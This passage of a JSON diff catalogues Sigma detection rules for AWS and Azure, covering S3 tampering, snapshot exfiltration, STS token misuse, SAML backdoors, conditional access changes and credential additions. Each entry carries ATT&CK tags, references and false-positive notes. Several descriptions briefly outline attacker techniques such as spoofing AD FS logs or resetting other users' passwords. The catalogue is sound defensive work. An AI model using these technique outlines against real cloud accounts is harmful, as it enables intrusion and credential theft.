@austinsonger", + "level": "low", + "falsepositive": [ + "A domain may be transferred to another AWS account by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Domain transfers from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects when a user tampers with S3 data management in Amazon Web Services.", + "uuid": "78b3756a-7804-4ef7-8555-7b9024a02e2d", + "value": "AWS S3 Data Management Tampering", + "meta": { + "refs": [ + "https://github.com/elastic/detection-rules/pull/1145/files", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_Operations.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketWebsite.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketEncryption.html", + "https://docs.aws.amazon.com/AmazonS3/latest/userguide/setting-repl-config-perm-overview.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_RestoreObject.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_s3_data_management_tampering.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1537" + ], + "creation_date": "2021/07/24", + "filename": "aws_s3_data_management_tampering.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "A S3 configuration change may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. S3 configuration change from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects the modification of the findings on SecurityHub.", + "uuid": "a607e1fe-74bf-4440-a3ec-b059b9103157", + "value": "AWS SecurityHub Findings Evasion", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/cli/latest/reference/securityhub/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_securityhub_finding_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ], + "creation_date": "2021/06/28", + "filename": "aws_securityhub_finding_evasion.yml", + "author": "Sittikorn S", + "level": "high", + "falsepositive": [ + "System or Network administrator behaviors", + "DEV, UAT, SAT environment. You should apply this rule with PROD environment only." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects the modification of an EC2 snapshot's permissions to enable access from another account", + "uuid": "abae8fec-57bd-4f87-aff6-6e3db989843d", + "value": "AWS Snapshot Backup Exfiltration", + "meta": { + "refs": [ + "https://www.justice.gov/file/1080281/download", + "https://attack.mitre.org/techniques/T1537/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_snapshot_backup_exfiltration.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1537" + ], + "creation_date": "2021/05/17", + "filename": "aws_snapshot_backup_exfiltration.yml", + "author": "Darin Smith", + "level": "medium", + "falsepositive": [ + "Valid change to a snapshot's permissions" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges.", + "uuid": "905d389b-b853-46d0-9d3d-dea0d3a3cd49", + "value": "AWS STS AssumeRole Misuse", + "meta": { + "refs": [ + "https://github.com/elastic/detection-rules/pull/1214", + "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_sts_assumerole_misuse.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.privilege_escalation", + "attack.t1548", + "attack.t1550", + "attack.t1550.001" + ], + "creation_date": "2021/07/24", + "filename": "aws_sts_assumerole_misuse.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "AssumeRole may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "AssumeRole from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.", + "Automated processes that uses Terraform may lead to false positives." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges.", + "uuid": "b45ab1d2-712f-4f01-a751-df3826969807", + "value": "AWS STS GetSessionToken Misuse", + "meta": { + "refs": [ + "https://github.com/elastic/detection-rules/pull/1213", + "https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_sts_getsessiontoken_misuse.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.privilege_escalation", + "attack.t1548", + "attack.t1550", + "attack.t1550.001" + ], + "creation_date": "2021/07/24", + "filename": "aws_sts_getsessiontoken_misuse.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "GetSessionToken may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. GetSessionToken from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.", + "uuid": "f43f5d2f-3f2a-4cc8-b1af-81fde7dbaf0e", + "value": "AWS Suspicious SAML Activity", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html", + "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithSAML.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_susp_saml_activity.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078", + "attack.lateral_movement", + "attack.t1548", + "attack.privilege_escalation", + "attack.t1550", + "attack.t1550.001" + ], + "creation_date": "2021/09/22", + "filename": "aws_susp_saml_activity.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Automated processes that uses Terraform may lead to false positives.", + "SAML Provider could be updated by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "SAML Provider being updated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "An attacker with the iam:UpdateLoginProfile permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup.\nWith this alert, it is used to detect anyone is changing password on behalf of other users.\n", + "uuid": "055fb148-60f8-462d-ad16-26926ce050f1", + "value": "AWS User Login Profile Was Modified", + "meta": { + "refs": [ + "https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_update_login_profile.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2021/08/09", + "filename": "aws_update_login_profile.yml", + "author": "toffeebr33k", + "level": "high", + "falsepositive": [ + "Legit User Account Administration" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "This detection uses azureactivity logs (Administrative category) to identify the creation or update of a server instance in an Azure AD Hybrid health AD FS service.\nA threat actor can create a new AD Health ADFS service and create a fake server instance to spoof AD FS signing logs. There is no need to compromise an on-prem AD FS server.\nThis can be done programmatically via HTTP requests to Azure.\n", + "uuid": "288a39fc-4914-4831-9ada-270e9dc12cb4", + "value": "Azure Active Directory Hybrid Health AD FS New Server", + "meta": { + "refs": [ + "https://o365blog.com/post/hybridhealthagent/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aadhybridhealth_adfs_new_server.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1578" + ], + "creation_date": "2021/08/26", + "filename": "azure_aadhybridhealth_adfs_new_server.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "medium", + "falsepositive": [ + "Legitimate AD FS servers added to an AAD Health AD FS service instance" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant.\nA threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs.\nThe health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.\n", + "uuid": "48739819-8230-4ee3-a8ea-e0289d1fb0ff", + "value": "Azure Active Directory Hybrid Health AD FS Service Delete", + "meta": { + "refs": [ + "https://o365blog.com/post/hybridhealthagent/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aadhybridhealth_adfs_service_delete.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1578.003" + ], + "creation_date": "2021/08/26", + "filename": "azure_aadhybridhealth_adfs_service_delete.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "medium", + "falsepositive": [ + "Legitimate AAD Health AD FS service instances being deleted in a tenant" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert on conditional access changes where non approved actor removed CA Policy.", + "uuid": "26e7c5e2-6545-481e-b7e6-050143459635", + "value": "CA Policy Removed by Non Approved Actor", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_ca_policy_removedby_bad_actor.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1548" + ], + "creation_date": "2022/07/19", + "filename": "azure_aad_secops_ca_policy_removedby_bad_actor.yml", + "author": "Corissa Koopmans, '@corissalea'", + "level": "medium", + "falsepositive": [ + "Misconfigured role permissions", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert on conditional access changes. Is Initiated by (actor) approved to make changes? Review Modified Properties and compare \"old\" vs \"new\" value.", + "uuid": "50a3c7aa-ec29-44a4-92c1-fce229eef6fc", + "value": "CA Policy Updated by Non Approved Actor", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_ca_policy_updatedby_bad_actor.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1548" + ], + "creation_date": "2022/07/19", + "filename": "azure_aad_secops_ca_policy_updatedby_bad_actor.yml", + "author": "Corissa Koopmans, '@corissalea'", + "level": "medium", + "falsepositive": [ + "Misconfigured role permissions", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert on conditional access changes.", + "uuid": "0922467f-db53-4348-b7bf-dee8d0d348c6", + "value": "New CA Policy by Non-approved Actor", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_new_ca_policy_addedby_bad_actor.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1548" + ], + "creation_date": "2022/07/18", + "filename": "azure_aad_secops_new_ca_policy_addedby_bad_actor.yml", + "author": "Corissa Koopmans, '@corissalea'", + "level": "medium", + "falsepositive": [ + "Misconfigured role permissions", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Define a baseline threshold and then monitor and adjust to suit your organizational behaviors and limit false alerts from being generated.", + "uuid": "dff74231-dbed-42ab-ba49-83289be2ac3a", + "value": "Sign-in Failure Bad Password Threshold", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#things-to-monitor", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_signin_failure_bad_password_threshold.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ], + "creation_date": "2022/04/21", + "filename": "azure_aad_secops_signin_failure_bad_password_threshold.yml", + "author": "Corissa Koopmans, '@corissalea'", + "level": "high", + "falsepositive": [ + "Failed Azure AD Connect Synchronization", + "Service account use with an incorrect password specified", + "Misconfigured systems", + "Vulnerability scanners" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies user account which has been locked because the user tried to sign in too many times with an incorrect user ID or password.", + "uuid": "2b7d6fc0-71ac-4cf7-8ed1-b5788ee5257a", + "value": "Account Lockout", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_account_lockout.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ], + "creation_date": "2021/10/10", + "filename": "azure_account_lockout.yml", + "author": "AlertIQ", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when an account was created and deleted in a short period of time.", + "uuid": "6f583da0-3a90-4566-a4ed-83c09fe18bbf", + "value": "Account Created And Deleted Within A Close Time Frame", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#short-lived-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_account_created_deleted.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/08/11", + "filename": "azure_ad_account_created_deleted.yml", + "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1', Tim Shelton", + "level": "high", + "falsepositive": [ + "Legit administrative action" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detect successful authentications from countries you do not operate out of.", + "uuid": "8c944ecb-6970-4541-8496-be554b8e2846", + "value": "Successful Authentications From Countries You Do Not Operate Out Of", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_authentications_from_countries_you_do_not_operate_out_of.yml" + ], + "tags": [ + "attack.t1078" + ], + "creation_date": "2022/07/28", + "filename": "azure_ad_authentications_from_countries_you_do_not_operate_out_of.yml", + "author": "MikeDuddington, '@dudders1'", + "level": "medium", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when sign-ins increased by 10% or greater.", + "uuid": "e1d02b53-c03c-4948-b11d-4d00cca49d03", + "value": "Increased Failed Authentications Of Any Type", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-for-failed-unusual-sign-ins", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_auth_failure_increase.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/08/11", + "filename": "azure_ad_auth_failure_increase.yml", + "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1'", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when successful sign-ins increased by 10% or greater.", + "uuid": "67d5f8fc-8325-44e4-8f5f-7c0ac07cb5ae", + "value": "Measurable Increase Of Successful Authentications", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-for-successful-unusual-sign-ins", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_auth_sucess_increase.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/08/11", + "filename": "azure_ad_auth_sucess_increase.yml", + "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1', Tim Shelton", + "level": "low", + "falsepositive": [ + "Increase of users in the environment" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detect when authentications to important application(s) only required single-factor authentication", + "uuid": "f272fb46-25f2-422c-b667-45837994980f", + "value": "Authentications To Important Apps Using Single Factor Authentication", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_auth_to_important_apps_using_single_factor_auth.yml" + ], + "tags": [ + "attack.t1078" + ], + "creation_date": "2022/07/28", + "filename": "azure_ad_auth_to_important_apps_using_single_factor_auth.yml", + "author": "MikeDuddington, '@dudders1'", + "level": "medium", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert for Bitlocker key retrieval.", + "uuid": "a0413867-daf3-43dd-9245-734b3a787942", + "value": "Bitlocker Key Retrieval", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#bitlocker-key-retrieval", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_bitlocker_key_retrieval.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/06/28", + "filename": "azure_ad_bitlocker_key_retrieval.yml", + "author": "Michael Epping, '@mepples21'", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert for device registration or join events where MFA was not performed.", + "uuid": "5afa454e-030c-4ab4-9253-a90aa7fcc581", + "value": "Device Registration or Join Without MFA", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-registrations-and-joins-outside-policy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_device_registration_or_join_without_mfa.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/06/28", + "filename": "azure_ad_device_registration_or_join_without_mfa.yml", + "author": "Michael Epping, '@mepples21'", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert for changes to the device registration policy.", + "uuid": "9494bff8-959f-4440-bbce-fb87a208d517", + "value": "Changes to Device Registration Policy", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-registrations-and-joins-outside-policy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_device_registration_policy_changes.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1484" + ], + "creation_date": "2022/06/28", + "filename": "azure_ad_device_registration_policy_changes.yml", + "author": "Michael Epping, '@mepples21'", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detect failed authentications from countries you do not operate out of.", + "uuid": "28870ae4-6a13-4616-bd1a-235a7fad7458", + "value": "Failed Authentications From Countries You Do Not Operate Out Of", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_failed_auth_from_countries_you_do_not_operate_out_of.yml" + ], + "tags": [ + "attack.t1078" + ], + "creation_date": "2022/07/28", + "filename": "azure_ad_failed_auth_from_countries_you_do_not_operate_out_of.yml", + "author": "MikeDuddington, '@dudders1'", + "level": "low", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects guest users being invited to tenant by non-approved inviters", + "uuid": "4ad97bf5-a514-41a4-abd3-4f3455ad4865", + "value": "Guest Users Invited To Tenant By Non Approved Inviters", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_guest_users_invited_to_tenant_by_non_approved_inviters.yml" + ], + "tags": [ + "attack.t1078" + ], + "creation_date": "2022/07/28", + "filename": "azure_ad_guest_users_invited_to_tenant_by_non_approved_inviters.yml", + "author": "MikeDuddington, '@dudders1'", + "level": "medium", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detect when users are authenticating without MFA being required.", + "uuid": "28eea407-28d7-4e42-b0be-575d5ba60b2c", + "value": "Azure AD Only Single Factor Authentication Required", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_only_single_factor_auth_required.yml" + ], + "tags": [ + "attack.t1078" + ], + "creation_date": "2022/07/27", + "filename": "azure_ad_only_single_factor_auth_required.yml", + "author": "MikeDuddington, '@dudders1'", + "level": "low", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert for sign-ins where the device was non-compliant.", + "uuid": "4f77e1d7-3982-4ee0-8489-abf2d6b75284", + "value": "Sign-ins from Non-Compliant Devices", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#non-compliant-device-sign-in", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_sign_ins_from_noncompliant_devices.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/06/28", + "filename": "azure_ad_sign_ins_from_noncompliant_devices.yml", + "author": "Michael Epping, '@mepples21'", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert for Sign-ins by unknown devices from non-Trusted locations.", + "uuid": "4d136857-6a1a-432a-82fc-5dd497ee5e7c", + "value": "Sign-ins by Unknown Devices", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#non-compliant-device-sign-in", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_sign_ins_from_unknown_devices.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/06/28", + "filename": "azure_ad_sign_ins_from_unknown_devices.yml", + "author": "Michael Epping, '@mepples21'", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert for users added to device admin roles.", + "uuid": "11c767ae-500b-423b-bae3-b234450736ed", + "value": "Users Added to Global or Device Admin Roles", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-administrator-roles", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_users_added_to_device_admin_roles.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/06/28", + "filename": "azure_ad_users_added_to_device_admin_roles.yml", + "author": "Michael Epping, '@mepples21'", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "User Added to an Administrator's Azure AD Role", + "uuid": "ebbeb024-5b1d-4e16-9c0c-917f86c708a7", + "value": "User Added to an Administrator's Azure AD Role", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1098/003/", + "https://m365internals.com/2021/07/13/what-ive-learned-from-doing-a-year-of-cloud-forensics-in-azure-ad/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_user_added_to_admin_role.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098.003" + ], + "creation_date": "2021/10/04", + "filename": "azure_ad_user_added_to_admin_role.yml", + "author": "Rapha\u00ebl CALVET, @MetallicHack", + "level": "medium", + "falsepositive": [ + "PIM (Privileged Identity Management) generates this event each time 'eligible role' is enabled." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a application is deleted in Azure.", + "uuid": "410d2a41-1e6d-452f-85e5-abdd8257a823", + "value": "Azure Application Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_deleted.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2021/09/03", + "filename": "azure_application_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Application being deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Application deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a application gateway is modified or deleted.", + "uuid": "ad87d14e-7599-4633-ba81-aeb60cfe8cd6", + "value": "Azure Application Gateway Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_gateway_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/16", + "filename": "azure_application_gateway_modified_or_deleted.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Application gateway being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Application gateway modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a application security group is modified or deleted.", + "uuid": "835747f1-9329-40b5-9cc3-97d465754ce6", + "value": "Azure Application Security Group Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_security_group_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/16", + "filename": "azure_application_security_group_modified_or_deleted.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Application security group being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Application security group modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a configuration change is made to an applications AppID URI.", + "uuid": "1b45b0d1-773f-4f23-aedc-814b759563b1", + "value": "Application AppID Uri Configuration Changes", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#appid-uri-added-modified-or-removed", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_appid_uri_changes.yml" + ], + "tags": [ + "attack.t1528", + "attack.persistence", + "attack.credential_access" + ], + "creation_date": "2022/06/02", + "filename": "azure_app_appid_uri_changes.yml", + "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", + "level": "high", + "falsepositive": [ + "When and administrator is making legitimate AppID URI configuration changes to an application. This should be a planned event." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a new credential is added to an existing application. Any additional credentials added outside of expected processes could be a malicious actor using those credentials.", + "uuid": "cbb67ecc-fb70-4467-9350-c910bdf7c628", + "value": "Added Credentials to Existing Application", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-credentials", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_credential_added.yml" + ], + "tags": [ + "attack.t1098", + "attack.persistence" + ], + "creation_date": "2022/05/26", + "filename": "azure_app_credential_added.yml", + "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", + "level": "high", + "falsepositive": [ + "When credentials are added/removed as part of the normal working hours/workflows" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a application credential is modified.", + "uuid": "cdeef967-f9a1-4375-90ee-6978c5f23974", + "value": "Azure Application Credential Modified", + "meta": { + "refs": [ + "https://www.cloud-architekt.net/auditing-of-msi-and-service-principals/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_credential_modification.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/02", + "filename": "azure_app_credential_modification.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Application credential added may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Application credential added from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when highly privileged delegated permissions are granted on behalf of all users", + "uuid": "a6355fbe-f36f-45d8-8efc-ab42465cbc52", + "value": "Delegated Permissions Granted For All Users", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_delegated_permissions_all_users.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2022/07/28", + "filename": "azure_app_delegated_permissions_all_users.yml", + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "level": "high", + "falsepositive": [ + "When the permission is legitimately needed for the app" + ], + "logsource.category": "No established category", + 